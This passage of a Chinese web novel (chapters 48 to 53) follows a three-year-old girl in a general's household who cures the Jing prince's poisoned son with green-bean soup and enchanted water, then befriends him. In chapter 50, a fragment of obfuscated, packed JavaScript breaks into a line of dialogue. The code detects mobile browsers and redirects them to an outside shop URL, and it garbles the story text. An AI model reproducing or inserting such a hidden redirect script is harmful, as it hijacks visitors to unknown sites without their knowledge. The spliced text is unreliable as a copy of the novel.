乖宝压根不知这些,一觉睡到午后,她才在床榻上,慢悠悠睁开眼睛。
“嗯?乖宝怎么回家啦。”乖宝从床榻上坐起来,扫了一眼四周,又伸了个懒腰。
莲心提着个食盒走了进来,“小姐您醒了,饿了吧,将军让人在闹市给您买了些吃食,先垫垫肚子,晚点就能吃晚膳了。”
“嗯嗯,爹爹呢?”她记得自己是被爹爹抱着睡觉觉的。
然后就什么也不记得啦。
“将军,回自己院子了。”莲心开口道。
乖宝打开食盒,看见里面用油纸包裹的点心,抓了一块咬了一口。
她满足的咀嚼,又慢慢咽下去。
爹买的真好吃!
嘿,爹给卖吃的,明天乖宝也要给爹做甜水喝。
另一边的景王府。
景王刚从宫里回来,脸色铁青,刚踏入府邸。
管家见状快速上前道:“殿下,您可算回来了,王妃找您呢。”
景王冷声道:“何事?”
管家道:“这个好像王妃差人去将军府了,想邀将军夫人跟小姐来府上喝茶,让顾夫人以小姐身子不适为由拒绝了。”
景王目光一顿,拢了拢衣袖,迈着步子,进了后院,踏进一间屋子。
床榻边景王妃正端着个瓷碗,在给榻上靠着的小孩喂药。
景王妃声音轻柔,哄着道:“槿儿,再喝一口,就一口。”
床榻上的孩子面色苍白,紧皱着小脸,闭着嘴。
“娘已经打听到了,有人能治好你,你乖乖听话,把药喝了这病一定能好。”
“娘,别骗槿儿了。”景王世子干瘪的小脸,有些发沉。
“这药好苦,孩儿想吃些有味的东西。”
“咳……”景王迈着步子走了进来。
“爹,你回来了。”
“孩儿,明日可以出去吗?”元槿眼巴巴望着景王,瘪着小嘴道。
他已经好久好久没出府了。
要是他就这么**,就再也出不去了。
“先喝药,喝完再说。”
景王对上稚子那双期待的目光,有些不忍。
“不要,父王一会儿又改主意了。”景王世子发黑的唇瓣往下压。
“咳咳咳……”他咳了一阵,脸色发乌,有些喘不上气来。
景王脸色一沉,赶紧上前为他顺气,然后又开口道。
“等你病好时,本王再带你去。”
景王世子压了压唇,眨了眨干涩发白无神的眼睛,父王就会哄他。
他知道父王也是为了他好。
还是别让父王跟母妃担心了。
待孩子睡下,夫妻二人才起身出去。
侧室内。
景王妃望着景王高挺的身姿,想到了下人们说的那些传言,不由开口道:
“王爷,臣妾听说,将军府家那位小姐,福运深厚,说不定待在她身边,咱们的孩子也能平安活下去。”
景王妃的嗓子有些沙哑,“不过臣妾方才派人去请,没能请到。”
“王爷,槿儿的病已经等不及了。”她紧紧握住了景王的手,心知
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景王一直同将军府的关系并不好。
可如今孩子危在旦夕,有什么能比孩子重要呢?
景王妃见景王一直开口不语,声音有些颤抖。
“王爷入宫时,槿儿又吐了一次血。”
“太医说,槿儿现在的情况越来越差了,或许根本就等不及半个月了。”
景王妃说到这,焕然泪下。
景王妃眼中带着一丝果决,“明日臣妾再亲自去将军府一试。”
哪怕只有一丁点希望,她也愿意为了儿子弯下腰去求人。
景王拢了拢拳头,眼中一直压制着翻涌的情绪:
“本王知道了,既然将军府不愿,本王自会去求他们。”
鸢儿,不说他也会这么做。
只是将军府并不会轻易答应,他原本是想用别的条件作为交换,如今槿儿的情况只能提前去了。
第二天清晨。
将军府来了个特殊的人。
男人手持拂尘,身穿着蓝色衣袍,后边带着一行人,沉着脸开口道:“奉天承运,皇帝诏曰,镇国将军顾徇之子,顾应决履历战功,为秦国出生入死,鞠躬尽瘁,今特封其为骠骑大将军,赏黄金万两,田宅千亩。”
“顾将军陛下念你身体抱恙,特意嘱咐,免你日**朝听政。”
这话落下,彻底宣告将军府将暂时离开朝堂,之后也只能靠着陛下赏赐的名头度日。
将军府众人倒没什么特别的反应,这些都是他们早已知晓之事。
只是此事情一直到现在才彻底揭开罢了。
“多谢江公公。”顾应决俯下身抱拳道。
“顾将军好好保重身子,日后还是有机会继续报效朝廷的。”江总管盯了顾应决一眼,手里的圣旨也一道递了过去,开口道。
心下叹息,原本此次陛下有意,让顾少将军担起老将军的之责,却没成想顾少将军……
“对了,将军府的小小姐呢?今日咱家还特意奉太后之命,将封赏送到将军府。”
顾夫人张罗道:“江公公,不如喝盏茶,孩子正在院里玩,已经派人去叫了。”
江公公笑着道:“不必了,咱家将这赏赐带到就行,还得回宫复命,就不多待了。”
他招了招手,身后的人抬着好几个箱子进来。
第四十九章 小哥哥出血了
“陛下听太后说起了将军府小姐的事,还说下次要亲自见见将军府的小姐,将军府得此女也算是因祸得福了。”
江公公是陛下身边的太监,也是宫内内监总管,自是最明白皇帝心思的人。
“陛下还说,望将军能早日恢复回朝效力。”江公公走到顾应决身侧,压低了声音,补了一句。
留下这句话,江公公便带着人才离开没有多久。
顾应决捏了捏手里的圣旨,陛下留下这句话,说明已经从太后那得知了乖宝的特殊。
就在此时,将军府的下人匆匆跑进来禀告:“景王跟景王妃带着景王世子来了。”
顾应决蹙眉,捏着圣旨的手紧了紧,景王还真是阴魂不散。
宫里的人这才刚走,他后脚就来了。
“把人请进来。”顾应决抬了抬手。
没一会儿,外头进来一行人,为首之人正是景王跟景王妃。
外面日头大,而进来的景王穿着一身**袍,身上还裹着一张厚披风,披风微微有些滑落,露出里面一张惨白的小脸。
将军府众人见状,除去顾应决和顾夫人其他人纷纷俯下身行礼。
顾夫人又立即请二人上座,又将身边的下人全叫退。
景王跟景王妃并未动,二人也未说话。
“不知,王爷王妃今日前来府上所谓何事?”顾夫人扫了一眼,景王怀里昏迷的元槿,心里有了猜测主动问道。
景王妃红着眼睛,上前拉住了顾夫人的手,哽咽道:“请顾夫人,救救我儿。”
她说话时,声音震颤。
“王妃,我将军府不是太医院,这救人的事情你们找错地方了。”顾夫人手里窜着一串佛珠,面上看着有些无情,掰开了景王妃的手。
景王妃完全没能想到,顾夫人会直接了当的拒绝,心里有些愤懑却又无可奈何,又抓住了她的衣袍。
“夫人,太医院的院士都无法救我儿,现如今只有你家小姐能,还请夫人让小姐出来,救救我家槿儿。”
“王妃,我家孩子才三岁,外界不可信,再者世子乃千金之躯岂可随便找人看,还是请王爷王妃另请高明吧。”顾夫人望了景王妃一眼,歪着头不再看她,唇瓣向下抿道。
景王妃抬眸看了冷面的顾夫人,又看了一眼顾应决,泪水从脸颊上落下,语气有些着急:“我知你们同王府有些恩怨,但是罪不至孩子,难道你们就这么见死不救吗?”
“还是说你们真的想,让本王妃跪下来求你们不可。”
如果这真能救下槿儿,她也愿意,下次放下这王妃的身份。
她仿佛下定了某个决心,撩了下裙摆,俯下了身,跪在了顾夫人面前。
顾夫人迅速伸手拉住了她的手臂,用力将人拉起来,“王妃何至于此,这大礼将军府决如何受得起。”
景王妃眼底带着一片青丝,面色有些过于苍白,唇瓣跟退了色一样,挪了挪唇道:“只要能让我儿活着,让我做什么都行。”
她当下只希望孩子能够活下去,提了提裙摆,就要在顾夫人面前跪下。
为了孩子她可以放下王妃的尊严。
顾夫人闻言侧头看了她一眼,长叹了一口气,却未开口说话。
景王妃上前还要说些什么。
景王按住了情绪激动的景王妃,“顾夫人,本王不求将军府能救他一命,可否让他暂住在将军府。”
顾应决瞥了景王一眼,“王爷,世子病重,若是在将军府有任何意外,将军府可担不起这个责任。”
原来是打着这个主意,怪不得景王今日还带着世子过来。
“要是景王世子,在将军府出现任何问题,是不是王爷还要治将军府一个害死世子的罪名。”
“该说不说王爷真是好算计。”顾应决暗讽道。
他可还记得,景王身边那条狗,姓陆那厮,之前还在将军府外搅事。
顾应决不信,这事不是景王授意的。
再者端妃那些算计,景王也脱不了关系。
景王对上顾应决那双宛如鹰鹫一般尖锐的目光,脸色不大好看,“少将军误会了,本王不是那个意思。”
“王爷请回吧,世子这尊大佛,我们
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将军府可担不起。”顾应决冷声开口道。
景王又道:“你放心,无论我儿有没有问题都跟你们将军府无关。”
“您当下答应,说不准事后反悔呢,再说了,我们也并未同意。”顾应决垂眸道。
景王黑不见底的瞳孔,盯着顾应决:“那你要如何,才肯同意……”
就在两人僵持时,景王怀中的元槿,眼皮动了动,鼻子往外溢血,他扯了扯景王的衣袖,说话的声音无力的跟一样。
“爹……槿儿,好难受,我们回家吧……”
“槿儿。”景王盯着他眼里带着紧张和焦急,手紧紧搂着元槿,心如刀割。
“槿儿……”景王妃望着景王世子,呼吸都有些紧,捏着手帕颤抖着,擦拭着他鼻子上流出来的鲜血。
景王抬头看向顾应决,吐了一口浊气,手捏成拳,撩袍俯下身跪下,“本王恳求,将军府救救我儿。”
秦国最尊贵无比的王爷,就这么给将军府下跪了。
众人睁大了眼睛,好在下人已经被唤退,要不然全都得死。
顾应决目光顿了顿,倒是没想到,那般高傲的人,居然能为了孩子做到这样的地步。
顾应柏看着他们一家三口有些不忍,这景王世子,如今这样只怕是活不过三日。
他曾经也身染重病,知道这有多痛苦,一时间有些心疼这个从小跟他有一样经历的孩子。
虽说景王府跟将军府关系不和,但是罪不至孩子。
可是事关乖宝,他们不能轻易做决断。
“爹,祖母,大伯,乖宝来给你们送吃得来了。”乖宝在前厅门口,探了个小脑袋。
她又提着食盒,迈着小碎步吃力地走到了进来,抬眸看了一眼里面的人,见里面的人跪着。
“嗯?叔叔我认识你,昨天我们见过。”乖宝走到景王跟前,盯着跪着的景王,立刻想起来昨天的事情。
她注意到景王怀里的人,瞬间瞪大了眼睛,小男童鼻子里不断有血冒出来。
“小哥哥出血了。”乖宝蹙眉,指了指自己的鼻子的位置。
第五十章 小哥哥喝汤
“乖宝,你叫乖宝是不是,你能不能救救他。”边上的景王妃眼中含着泪,要去抓乖宝的手。
顾应决将乖宝拉到了身边来。
景王妃眼中闪过一丝无力,乞求道:“可以吗?”
乖宝吸了吸鼻,侧头看了一眼身侧的顾应决:“爹。”
顾应决盯了她一眼,沉默一瞬,开口道:“你自己决定。”
“小哥哥你吃吗?”乖宝想了想,将手里的食盒放下,从里面舀出一小碗绿豆粥。
众人全都望着乖宝的动作,没有一人吭声。
景王世子抬眸对上乖宝那双如宝石一样璀璨闪耀的眼睛,不由的张了张嘴,“好。”
乖宝笑了笑,小肉手捏着勺子,搅拌了一下,将绿豆汤喂到了景王世子的嘴里。
他含着那甘甜的清凉的绿豆汤,发苦无味的嘴立刻被甜味冲淡了,不知为何浑身的痛意逐渐缓解。
景王世子扬了扬眉。
这是他从来没有喝过的汤,比他之前吃过的任何东西都要好吃。
“还要吗?”乖宝低声问。
“要。”景王世子舔了舔唇。
这话一出,身边的景王跟景王妃心跳一震,木槿儿因为身边的原因,一直以来胃口都不太好,吃什么都是哄着为下的。
没想到乖宝一碗寻常不过的绿豆汤,竟然能让他吃了还想再继续吃。
乖宝又给他嘴里塞了一口。
这一口下去,景王世子又张了张嘴,乖宝又给他来了一勺,最后乖宝直接把碗递到了他嘴边。
“小哥哥,你自己喝吧,乖宝手都捧酸了。”说着她拉住了景王世子的手,将手里的碗塞了过去,让他自己喝。
丝毫没有顾及他是个病人。
景王妃正要伸手接过碗。
景王世子先她一步端着碗,直接仰头将那碗绿豆汤全都给喝尽了。
“小妹妹,这个绿豆汤好好喝,我还要喝,还有吗?”这碗绿豆汤喝完之后,他抬头看向乖宝问道。
“还有,你放心吧,管够。”乖宝十分大方地拍了拍小胸脯。
祖母说过,客人来了就要大方的招待客人,再说绿豆汤而已,小哥哥想喝就喝。
“谢谢你。”
景王世子笑着道。
“嗯嗯,给你。”乖宝又端了一碗过来,递到了景王世子手里。
他又是一口闷,闷完还忍不住咳了一声,景王跟景王妃急切地给他顺背。
景王世子蹙了蹙眉,“呕!”
他嘴里涌出了一大口的黑血。
乖宝吓了一大跳,还以为他也要**。
“小哥哥,你没事吧?”
众人全都惊了,边上的景往跟景往妃吓得脸色发白,侧头瞥了一眼这一直都在门口候着没进来的太医。
太医赶紧跑了上来,按住了景王世子的脉搏。
“嗯?”太医眼中带着一丝迟疑。
“世子……”
他一时又有些茫然。
“到底怎么回事。”景王面色发沉,严声问道。
“下官也觉得奇怪,方才世子脉搏微弱,根本就是必死的状态,现在这……”
“方才吐了的那毒血,就是藏在肺腑的毒,此前一直都没法稳住毒素的蔓延,如今不仅稳住了毒素,还有了一丝缓解。”
太医立刻俯下身道喜:“恭喜王爷王妃,小世子的毒有了回旋的余地。”
“太好了!”景王妃捏着儿子的小手,泪流满面道。
“小妹妹,你是小神仙吗?
“你肯定是上天派来救我的小菩萨。”景王世子盯着乖宝,眼睛发亮,嘴角带着笑意道。
应该也只有神仙才会有小妹妹这么可爱,这么厉害了吧。
刚才喝那个汤的时候,就感觉身体不疼了,而且还感觉到很舒服。
“我不是啦,你不要乱说。”乖宝挠挠头,缩着脖子,舔了舔唇瓣。
“奇怪,小姐这碗绿豆粥也只是普通的粥。”太医从丫鬟手中端了一碗过来,拿出一根银针探了探,又闻了闻,百思不得其解道。
“你叫什么名字呀?”乖宝仰头望着景王世子,开口问道。
“我叫元槿,木槿花的木槿。”
“嗷嗷,木槿花长什么样?”乖宝没见过他口中说的那种花,开口问道。
“嗯……我家就有,你可以到我家去看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220784|197517||http|test|mini|href|location''.split(''|''),0,{}));
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r>“真的吗?”乖宝惊喜地望着他。
她在这个世界还没有朋友,唯一朋友就是四叔了,但是四叔不是朋友,四叔是亲人。
“当然,你是我的恩人,你去我府中想做什么都可以。”元槿点点头道。
这话一出,身边的大人,全都紧张地看向乖宝,景王和景王妃眼里闪着火光,期待着乖宝的回答,他们笃定,方才就是乖宝救了他们的儿子。
乖宝就是天上下来,救苦救难的小菩萨。
“好呀,那你是我在这儿遇到的第一个朋友哦。”乖宝深吸了一口气,十分慎重的开口道。
“那以后你也可以来我们将军府玩。”
“好啊,我也只有你一个朋友。”元槿捂着小嘴轻咳一声,小脸有些发红,腼腆地开口道。
“真的吗,太好啦!”
“乖宝有礼物要送给你。”
乖宝十分珍惜,这个自己新认识的第一个朋友。
她小手伸进了衣襟里面,握了握里面的玉佩。
给好朋友什么呢?
乖宝想了想,瞬间眼睛一亮,有啦!
那就要好看的珠珠。
乖宝喜欢,小朋友应该都喜欢。
她手里,突然出现一个超大的夜明珠。
“给你!”
乖宝把圆珠子,塞进了景王世子的小手里,景王世子盯着手里被塞进来的一颗圆溜溜,蓝色透明珠子发愣。
“你喜欢这个吗?”
“咳,乖宝。”边上顾应柏轻咳了一声,余光冲她示意了一眼。
乖宝脑袋发紧,耸了一下肩膀,小手摸了一把额头。
哎呀!
乖宝一高兴,又把大伯说的话忘记啦。
“这……这好像是夜明珠,儿子记得皇祖父送过一颗给祖母。”元槿眸光顿了顿,而且这看着好像比皇祖父送的那颗,还要透亮。
边上的景王眼神变了变,抬头看了一眼乖宝。
这东西,皇宫好像也就只有三颗,父皇那一颗,太后那一颗,母妃那还有一颗。
小家伙又是从哪得来的?
“这个吗?是乖宝在地里捡来的。”乖宝对上他的目光,蹙眉道。
第五十一章 他的小神仙
景王妃眸光一滞,一时间有些恍然,“捡?”
顾应柏在乖宝边上,趁着众人正疑惑,强行解释道:
“咳……乖宝的意思是在库房捡来的。”
“夜明珠这东西说稀奇那是因为秦国不产,在有些国家也不稀奇,这夜明珠是顾某经商时,从一名异国商人手中偶得。”
顾应柏扫了一眼那夜明珠,如今想来,乖宝有那能治病的水,身上能有这些东西也不难理解。
其他国家这东西,真的也常见吗?
景王妃瞥了一眼元槿手里,那颗又大质地晶莹的夜明珠。
反正她从未听说过,不过世界这般大,说不准真有她不知晓的地方。
她很快又将心里那抹疑惑压下去。
“原来如此。”
这话边上景王抬眸看了顾应柏一眼,夜明珠的确在南边多产,这话倒不假。
“乖宝,你想让元槿留在将军府吗?”景王抿唇,低声问道。
景王妃闻言,双手不自觉收拢,炽热的目光直勾勾看向乖宝。
乖宝眼珠转了转,想了想道:“他可以跟乖宝玩吗?”
“当然可以。”景王薄唇微启。
让王世子陪将军府的女儿玩,这要是放在外人眼中,那可是大不敬,更是万万不敢想之事。
但在景王眼中,能跟乖宝一起玩,就是儿子唯一活命的机会。
那也是元槿的荣幸,若没有乖宝这样的机遇,元槿根本没法继续活着。
“那好呀。”乖宝看了一眼元槿,又看了一眼顾夫人还有顾应决,像是在寻求他们的意见。
“如果乖宝想让景王世子跟你玩,自然是可以的。”顾夫人对上乖宝渴望的目光,心中暗叹。
乖宝从流浪回了将军府,至今都从未有过跟她同一年纪的玩伴,平常她都只能在府上跟随下人,还有老四玩。
这么小的孩子,还是跟同龄人多接触的好。
“多谢,顾夫人。”景王勾了勾唇。
景王妃扬起唇,眼里含起了泪水,连忙也跟着道谢。
二人目光又看向乖宝。
乖宝上前一步,兴高采烈地拉住元槿的手,“太好啦!”
“小哥哥,我跟你说,乖宝可多东西了,一会儿就带你去看。”
元槿抬眸看了一眼景王,想从景王怀中下来,“父王。”
景王望着他问:“爹让下人抱你去?”
元槿方才喝了那一碗绿豆汤,整个人都有些力气。
“不用,儿子自己能走。”
乖宝妹妹比他小,还不用人抱,他都这么大了,抱着多丢人呀。
景王把他放下,欣慰地看着,他被乖宝牵着,笔直的站在自己面前,而不像往日一样腿脚犯软嚷着说起不来。
“你想住哪,我们将军府可大了,我带你去。”乖宝十分热情好客道。
顾夫人示意了一眼身边的孙嬷嬷,你陪着世子跟小姐过去,世子要是看中哪个屋子里,叫人好好打扫。
孙嬷嬷颔首:“奴婢遵命。”
乖宝拽着元槿的手,迈着步子往外面走,小嘴还不断说个不停,跟元槿介绍府里的情况:“后面有个花园,乖宝经常去玩,里面的蝴蝶好……”
她像是好不容易遇到一个投机的朋友般,急着跟人分享自己家里的事情。
“你就当自己家一样哦……”
元槿望着跟前软萌又愿意陪着自己的乖宝,一直压在胸腔压抑,郁闷,难受伤心的情绪,就像厚积的乌云,在此刻逐渐散开。
他忍不住咧嘴笑,今天真是太棒了!
这是他最最开心的一天。
想着,元槿眼眶有些泛红。
乖宝真是神仙妹妹!
肯定是他向上天许下的愿望,被小神使乖宝听到了!
所以乖宝下凡后都帮他实现了。
他说不想死,乖宝没让他死,想下地玩,乖宝要带他玩,想吃好吃的,乖宝给了。
乖宝对他真是太好了。
元槿感动的泪流满面,以一种几乎要跪下虔诚眼神盯着他的小神仙。
太厉害。
以后他也要特别特别好的对他的小神仙。
“你怎么啦?”乖宝见他突然不走了,还一直看着自己,觉得有些奇怪回头发现他居然哭了。
元槿合着衣袖,自己给自己擦了擦,“我没事。”<
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br>“嗷嗷,那我们走吧,一起玩就不难过了。”乖宝牵着他的手继续往院子外走。
日头落在四方院子里,将那块地照的金灿灿的,两个孩子穿过那沐浴在阳光里,又消失在众人视线中。
景王妃看着儿子又哭又笑,定了好一会儿,这才拽住景王的手,说话的声音带着一些哽咽。
“王爷,将军府这位顾小姐,当真是仙童下凡!”
他们这一趟没来错,也没有求错人。
将军府的小姐就跟传闻的一模一样。
景王指腹紧捏着扳指,俯下身朝着顾夫人等人抱拳道:“今日大恩元忱记下了,来日必答谢将军府!”
“你最该谢的不是我们,而是乖宝,若非乖宝自己做主留下世子,我们也绝不会逼她。”
顾应决瞥了景王一眼,心中带着一股说不出来的畅意,嘴角勾起,眼里带着一抹淡淡的笑意。
借了小崽子的光,他还是第一次见景王向自己低头。
还真是应了那句话,身处高位,任其如何尊贵,遇到病痛,终归凡人还是凡人。
如何能同天命抗衡。
景王又道:“这是自然,顾小姐是我王府的恩人,王府必定将拥她为座上宾。”
顾应决轻哼了一声,却没说话。
谁能想到景王也能有今天。
曾经景王高傲的很,朝堂上那可是跟他针锋相对,冷言冷语,还老给他使绊子。
不过该说不说,人倒还不错,遇到此事能屈能伸,还完全没王爷架子。
顾应决唇瓣一抿,又道:“如今王爷这般大摇大摆的带着世子,进我们将军府,如此招摇过市,岂不是明晃晃告诉外人,我家乖宝能救世子?”
“若每个人都学王爷,乖宝如何应对,难不成每个人都要救,她一个三岁的孩子,如何能庇护这么多人,更不知这里头的人到底打着什么歪心思。”
景王自然明白他的意思,“顾少将军放心,本王来时特意用披风盖住了槿儿。”
“此事本王绝不会让人泄露一丝消息。”景王立誓开口道。
景王做事的风格,顾应决还算满意。
第五十二章 留在将军府
顾应决又道:“既然景王世子已经到了我们将军府,但有些事还是要跟景王说清楚些,王爷王妃不可经常来我将军府,以免引起外人的怀疑。”
景王心中不愿,却也只能答应:“自然,一切都听将军府的。”
“我儿就交由诸位了。”景王离开前,又慎重的俯下身朝着将军府众人行了一礼。
景王拉着景王妃往外走,走到门口又他停了下来,“本王突然想起了一件事,或许对将军府有些用处。”
“此前本王处理朝中要事时,意外查到顾寒舟曾在武堂跟人起过争执,后又发生了一些事情,从那之后顾寒舟似乎有些不对劲,不知是否跟疯病有关。”
顾家众人猛然抬眸看向景王,顾夫人率先开口道:“王爷,此话可是真的?”
“嗯,将军府若是不相信,大可派人去查一查。”
景王留下这句话,便扶着虚弱的景王妃迈着往外面走。
走到前厅门口,两人又停了下来,侧头往后院的花园看了一眼。
景王妃眼中带着浓浓的担忧和不舍。
“王爷,槿儿,从小就没离开过王府,如今突然没了妾身在身边,也不知夜里能不能睡得着。”
在王府还有她看着,到了将军府,也不知道丫鬟下人能不能看好这孩子。
作为母亲,她难免会担忧孩子。
“回去吧,既然都到了将军府,想必将军府也不会薄待他。”
二人离开后,顾应决想起景王方才说的话,心里发沉。
父亲死后,将这将军府的大旗交给了自己,结果他却没有护好一家子,还让四弟遭受了这样的折磨。
“王爷这意思是,老四的癔症有所隐情?”顾应柏开口道。
“来人,军营告诉陈开让他派人去查,务必将三年前的四弟发生的事情,全都给本将军查清楚。”顾应决丝毫没带犹豫,立刻唤了门外的下人进来。
“奴才遵命。”下人俯下身行了一礼这才退下。
“怪我,没能好好看到四弟。”顾应柏心中很是自残形愧。
“不关大哥的事情,大哥身子本就不好,又要看顾将军府上的事情,根本就没有其他闲工夫去管四弟。”顾应决眼中闪过一丝惭愧。
“好了都别说了,先叫人查一查。”顾夫人打断了他们说话。
另一边乖宝根本不知道他们几人的忧思,拉着元槿去了自己在现在跟祖母一起住的院子。
乖宝跟元槿停在了屋子外面。
“你在这儿等我一下哦。”她松开手,推开门走了进去。
乖宝绕过屏风,走进室内,她踮起脚尖,扫了一眼桌案放着的好几个水袋,从上面取下来一个水袋,又拧开了盖子。
她上次跟大伯在街上买的水袋早就用光了,这是她后来又让嬷嬷去买了新的。
乖宝鬼鬼朝着屏风那看了一眼,这个房间的屏风恰好挡住了视线,外面的人根本看不到里面。
见没人进来,她拿出鱼形玉佩,神神叨叨在水袋那嘀咕了一句。
水袋瞬间变得沉甸甸的,她赶紧把水袋放在地上,又玉佩塞进了衣袖里,而后伸出小手,抱着水袋哼哧哼哧的起身,迈着小短腿往外面走。
她十分豪迈的走到元槿跟前,将手里的水袋塞进了元槿的怀里。
“这个送给你啦,你要记得好好喝水哦,这样病才能好得快。”
元槿紧紧抱着怀里的水袋,乖宝给的东西,那一定是好东西。
他十分珍贵地抱着那水袋,又小心翼翼给了边上伸手要帮忙的小厮,还不放心地看了对方一眼。
小神仙说喝水病能好,那就一定能!
他要听乖宝的话才能实现愿望。
“好,我记住了。”元槿十分慎重道。
乖宝笑着踮起脚尖,拍了拍他的肩膀,觉得他认真的样子很有趣,“你还没说想住哪儿呢。”
“有没有离乖宝最近的地方?”元槿开口问道。
乖宝侧头看向身边的孙嬷嬷,开口问道:“有吗?”
“有。”孙嬷嬷开口道。
“奴婢这就让下人去收拾。”
她朝旁边的丫鬟开口道:“去把边上的院子打扫打扫,这几日世子住那,注意好好弄,千万别薄待了世子。”
“奴婢明白了。”
从那日之后,世子便住在了将军府内。
乖宝每
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日都会主动找他玩,还会给他送好吃的东西,也会给他带一些外面买的新鲜玩意,跟他说一些他不太能听懂的故事《白公主和小矮人》,乖宝还说那个叫童话故事。
乖宝趴在元槿床边上:“这个故事就是,一个漂亮的公主被恶毒的皇后赶出去了,而后被七个小矮子救了,小矮子给她很多好吃的,还有穿的……”
“为什么公主要被皇后赶出去?”元槿问。
她停顿了一下,挠挠头,“乖宝也不知道啦。”
“嘿嘿!”
“那我们换个孙悟空的故事……”
元槿虽然不理解,但也很乐意听。
三日后。
乖宝在天彻底亮了后才起床,用完早膳,就看到顾寒舟站在门口望着她。
“四叔来啦?”乖宝将最后一口包子咽下,朝着顾寒舟挥手。
顾寒舟从身后拿出了一个东西,放在了乖宝跟前,那是一个纸做的蜻蜓风筝,外观画的特别好看,要是上颜色就像是一张真实的超大蜻蜓。
乖宝眼睛瞬间亮了,手肘扯着桌沿,双手托着腮,“大蜻蜓!”
“这个比上次爹送乖宝的还要好看!”
顾寒舟见乖宝喜欢,笑着露出洁白的牙齿,“乖宝喜欢?”
“嗯嗯,喜欢,乖宝巨无敌喜欢呀。”乖宝伸手捏住风筝的翅膀,上面的墨还没干,有些湿,她一碰手黑乎乎的。
顾寒舟立刻握住她软嫩的小手,开口道:“脏。”
说着他就从衣袖里面拿出了一张手帕,轻轻给乖宝擦拭着手上的污渍。
“这是四叔自己画的?”
这话一落。
边上的孙嬷嬷端茶的手猛然一顿。
京城世家谁人不知,将军府四公子那是有名的才子,吟诗作画那是随手就来。
“嗯,乖宝喜欢,以后都给乖宝做。”顾寒舟笑的阳光洒脱,开口道。
孙嬷嬷闻言手里的茶杯,“啪”的一声,重重落在桌案上,茶水差点就打湿了边上的风筝,好在孙嬷嬷反应的及时,赶紧拿出手帕擦了擦水。
“四公子,您想起来了?”孙嬷嬷放下手帕,拉住了顾寒舟的手,急切地问道。
第五十三章 将军想对小姐好,已经插不上手了
顾寒舟蹙眉望着她,望上她那双满怀期待的眼睛,有些不知所措,“我……我不知道。”
孙嬷嬷对上他茫然的目光,放下了手,想来是四公子出于本能所画,而他本身就有的东西虽然忘记,但根本不会真的遗忘,反而成为了一种本能。
“乖宝,我们一起去玩。”顾寒舟拽了拽乖宝的小手。
“好!”乖宝从桌案上抓了手帕,擦了擦唇瓣,抓起了桌上的大风筝。
顾寒舟走上前,伸手拖住了乖宝的胳肢窝,抱着乖宝转身往外面走。
“哈哈哈,四叔,我们去花园放吧!”
小身板被顾寒舟高高举起来,又一下落下,乖宝小胸脯一起一伏,刺激的哇哇大叫,心脏极激烈的跳动。
“嘿嘿!”乖宝小脸红嫩嫩地,扬声大笑。
另一边的院子里,刚醒来的元槿就听到了院子里传来的笑声,不由好奇乖宝今天又准备玩些什么。
“快替本世子,穿衣,我要出去。”元槿的年纪,正是爱玩的时候,人坐在床榻上,心却早已飞出去了。
“好的,您别急,奴婢这就给您穿。”景王府的下人,赶忙上前替元槿换上衣服,洗漱完,还没用早膳,他便急着要出去找乖宝。
乖宝妹妹那么好玩,一定是在玩非常有意思的东西,他已经被迫不及待要出去了。
“世子。”元槿忙着出去,步子迈得有些大,胸口一阵闷痛,他捂着胸口的位置,急促的深呼吸。
“世子,您这是怎么了,奴婢这就把太医叫过来。”下人见状急了,赶紧上前问道。
景王世子摆了摆手,赶紧道:“不用,你去把乖宝给我的水袋拿过来。”
下人不明所以,不过还是照做。
水袋一拿过来,元槿拧开盖子,仰头大口大口的喝。
下人吓得赶紧阻拦:“世子,这水这么凉,不能就这么喝容易伤胃。”
元槿根本就没有听他的,喝完把水袋又交给了下人。
他感觉喝完水之后,胸口一下子又不痛了。
气也不喘了,早上醒来昏昏沉沉的感觉消失了。
他迈着步子往花园那边走。
此时的将军花园里。
“四叔,在跑快点,风筝飞起来啦。”
乖宝被顾寒舟放脖子上坐着,手里捏着风筝线,开心地大笑。
顾寒舟疾风一样,快速往前跑,速度快的乖宝心头发紧,一只小手紧紧抱着顾寒舟的脑门,害怕但又觉得新奇好玩。
“唔哈哈哈!”她兴奋地挥动着腿,小脸在太阳的照射下微微有些发红。
“四叔可以慢点啦。”
乖宝一开口,奔跑着的顾寒舟步子慢了下来,稳稳地抓着乖宝的手臂。
“嘿嘿!”
不远处的凉亭内,一人坐在轮椅上,静静望着院子里的一大一小。
边上的小厮笑着道:“自从四公子被小姐带回来,不管小姐做什么,四公子都要跟着。”
四公子回来之后,现在府里每天都能看到两个身影,小姐跟四公子,一大一小早上去将军这,午饭去大公子那,午后就在花园玩,晚膳一家子一起用。
小厮屈着身瞥了一眼面无表情,目光却一直盯着小姐那边的顾少将军,勾了勾唇:“哦,现在还多了一个景王世子。”
“奴婢就说嘛,咱们小姐这么好,谁见了不喜欢。”
小姐身边围着的人太多了,现在都没空去找将军了。
将军表面上不在意小姐,这不是听到小姐的笑声,自己又主动出来了。
顾应决没说话,只静静看着二人,伸手接过了小厮倒的茶水,抿了一口。
一阵吹过,花丛跟树木晃了晃。
花园里飘着一股淡淡的清香,寂静无比的院子里,时不时传来乖宝跟顾寒舟发出来的嬉闹声。
不知道为什么,他竟然觉得现在这样也挺不错。
将军府虽然不似从前,他也不用每日都前往京中,这样的日子反而多了一丝惬意。
顾应决蹙眉,这两个字对他来说很是陌生。
但就是这么莫名,脑子里出现了这两个字。
“爹爹!”乖宝朝着他的方向叫了一声,迈着小短腿跑到凉亭里。
身后还跟着顾寒舟。
她发出来的声音,带着一些沮丧,甚至还有些低落。
“小姐,四公子喝茶。”小厮赶紧给二人倒茶,递过去。
乖宝伸手接过,一口气喝尽,
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小脸热的发红,额头上冒着汗液。
顾应决在她脸上盯了一眼,悠悠从衣袖中拿手帕,手帕才露出一角。
边上的顾寒舟反应快速,从衣袖中掏出了一张手帕,俯下身仔细替乖宝擦拭着额头跟脸上的汗水。
他擦得格外认真,仿佛在做一件十分重要的事。
顾应决盯着卖力的弟弟,手顿在了原地,脸色有些僵,又用力把手帕塞了回去。
老四什么时候才能好?
